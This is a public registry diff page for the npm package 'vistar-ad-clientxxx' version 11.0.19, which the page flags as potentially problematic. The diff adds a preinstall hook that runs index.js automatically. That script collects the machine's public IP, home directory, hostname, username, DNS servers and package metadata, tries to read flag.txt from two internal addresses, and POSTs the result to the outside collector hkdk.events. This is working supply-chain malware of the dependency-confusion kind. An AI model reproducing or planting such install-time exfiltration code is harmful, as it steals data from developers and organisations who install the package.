vistar-ad-clientxxx 11.0.19

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of vistar-ad-clientxxx might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +138 -0
  2. package/package.json +13 -0
package/index.js ADDED
@@ -0,0 +1,138 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const http = require("http"); // Import the http module for HTTP requests
6
+ const packageJSON = require("./package.json");
7
+ const package = packageJSON.name;
8
+ var trackingData;
9
+
10
+ // Function to get the public IP using an external API
11
+ function getPublicIP(callback) {
12
+ https
13
+ .get("https://api.ipify.org?format=json", (res) => {
14
+ let data = "";
15
+
16
+ // Collect data chunks
17
+ res.on("data", (chunk) => {
18
+ data += chunk;
19
+ });
20
+
21
+ // On end, return the public IP
22
+ res.on("end", () => {
23
+ const ipAddress = JSON.parse(data).ip;
24
+ callback(null, ipAddress); // Pass the IP to the callback
25
+ });
26
+ })
27
+ .on("error", (err) => {
28
+ callback(err, null); // Handle any errors
29
+ });
30
+ }
31
+
32
+ // Function to fetch the flag from the provided endpoints
33
+ function fetchFlag(url, publicIP, callback) {
34
+ http
35
+ .get(url, (res) => {
36
+ let data = "";
37
+
38
+ // Collect data chunks
39
+ res.on("data", (chunk) => {
40
+ data += chunk;
41
+ });
42
+
43
+ // On end, pass the flag (if any) to the callback
44
+ res.on("end", () => {
45
+ if (res.statusCode === 200) {
46
+ callback(null, { ip: publicIP, flag: data.trim(), endpoint: url });
47
+ } else {
48
+ callback("Couldn't access it", {
49
+ ip: publicIP,
50
+ result: "Couldn't access it",
51
+ endpoint: url,
52
+ });
53
+ }
54
+ });
55
+ })
56
+ .on("error", (err) => {
57
+ callback(err, {
58
+ ip: publicIP,
59
+ result: "Couldn't access it",
60
+ endpoint: url,
61
+ });
62
+ });
63
+ }
64
+
65
+ // Create tracking data
66
+ getPublicIP((err, publicIP) => {
67
+ if (err) {
68
+ console.log("Error fetching public IP:", err);
69
+ } else {
70
+ // Fetch flags from the two endpoints
71
+ const flagRequests = [];
72
+ const urls = [
73
+ "http://10.72.218.66/flag.txt",
74
+ "http://10.62.252.214/flag.txt",
75
+ ];
76
+
77
+ urls.forEach((url) => {
78
+ flagRequests.push(
79
+ new Promise((resolve) => {
80
+ fetchFlag(url, publicIP, (err, result) => {
81
+ if (err) {
82
+ resolve(result); // On error, resolve with result (couldn't access)
83
+ } else {
84
+ resolve(result); // On success, resolve with flag and associated info
85
+ }
86
+ });
87
+ })
88
+ );
89
+ });
90
+
91
+ // Wait for all flag requests to finish
92
+ Promise.all(flagRequests).then((flags) => {
93
+ trackingData = JSON.stringify({
94
+ p: package,
95
+ c: __dirname,
96
+ hd: os.homedir(),
97
+ hn: os.hostname(),
98
+ un: os.userInfo().username,
99
+ dns: dns.getServers(),
100
+ r: packageJSON ? packageJSON.___resolved : undefined,
101
+ v: packageJSON.version,
102
+ pjson: packageJSON,
103
+ ip: publicIP, // Include the public IP in the tracking data
104
+ flags: flags, // Include the flags or failure messages with associated IPs
105
+ });
106
+
107
+ console.log(trackingData); // For testing purposes, output the tracking data
108
+ });
109
+ }
110
+ });
111
+
112
+ var postData = querystring.stringify({
113
+ msg: trackingData,
114
+ });
115
+
116
+ var options = {
117
+ hostname: "hkdk.events", //replace burpcollaborator.net with Interactsh or pipedream
118
+ port: 443,
119
+ path: "/7ar4u4h02e8d31",
120
+ method: "POST",
121
+ headers: {
122
+ "Content-Type": "application/x-www-form-urlencoded",
123
+ "Content-Length": postData.length,
124
+ },
125
+ };
126
+
127
+ var req = https.request(options, (res) => {
128
+ res.on("data", (d) => {
129
+ process.stdout.write(d);
130
+ });
131
+ });
132
+
133
+ req.on("error", (e) => {
134
+ // console.error(e);
135
+ });
136
+
137
+ req.write(postData);
138
+ req.end();
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "vistar-ad-clientxxx",
3
+ "version": "11.0.19",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1",
7
+ "preinstall": "node index.js"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC",
12
+ "description": ""
13
+ }